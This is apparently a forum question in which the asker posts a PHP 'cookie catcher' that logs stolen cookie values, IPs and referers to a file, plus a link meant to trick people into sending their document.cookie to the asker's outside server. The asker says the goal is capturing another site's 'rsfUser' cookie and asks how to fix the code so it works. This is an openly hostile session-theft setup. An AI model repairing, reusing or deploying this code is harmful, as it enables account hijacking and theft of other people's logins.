title: Why can't I get it to store the right cookie?
body: <p>So I have tried to do a cookie catcher and managed to set up this code on my site. The problem is that the code stores a cookie from my site instead of the one I request. The cookie I need is called rsfUser and here is the code:</p>
  
  <pre><code>&lt;?php
  $cookie = $_GET['c'];
  $date=date("j F, Y, g:i a");;
  $referer = getenv('HTTP_REFERER');
  $fp = fopen('cookies.php', 'a');
  fwrite($fp, 'Cookie: '.$cookie.'&lt;br /&gt; IP: '.$ip. '&lt;br /&gt; Date and time: ' .$date.'&lt;br /&gt; Referer: ' .$referer.'&lt;br /&gt;&lt;br /&gt;');
  fclose($fp);
  header ("Location: http://www.wikihow.com/Main-Page/");
  ?&gt;
  </code></pre>
  
  <p>The code I am trying to make people click is:</p>
  
  <pre><code>&lt;a onclick="document.location='http://example.example.net/cookiecatcher.php?cookie='+escape(document.cookie);" href="#"&gt; click here &lt;/a&gt;
  </code></pre>
  
  <p>The cookie stored is one from my site not the one I request. 
  What am I doing wrong? How do I fix this? </p>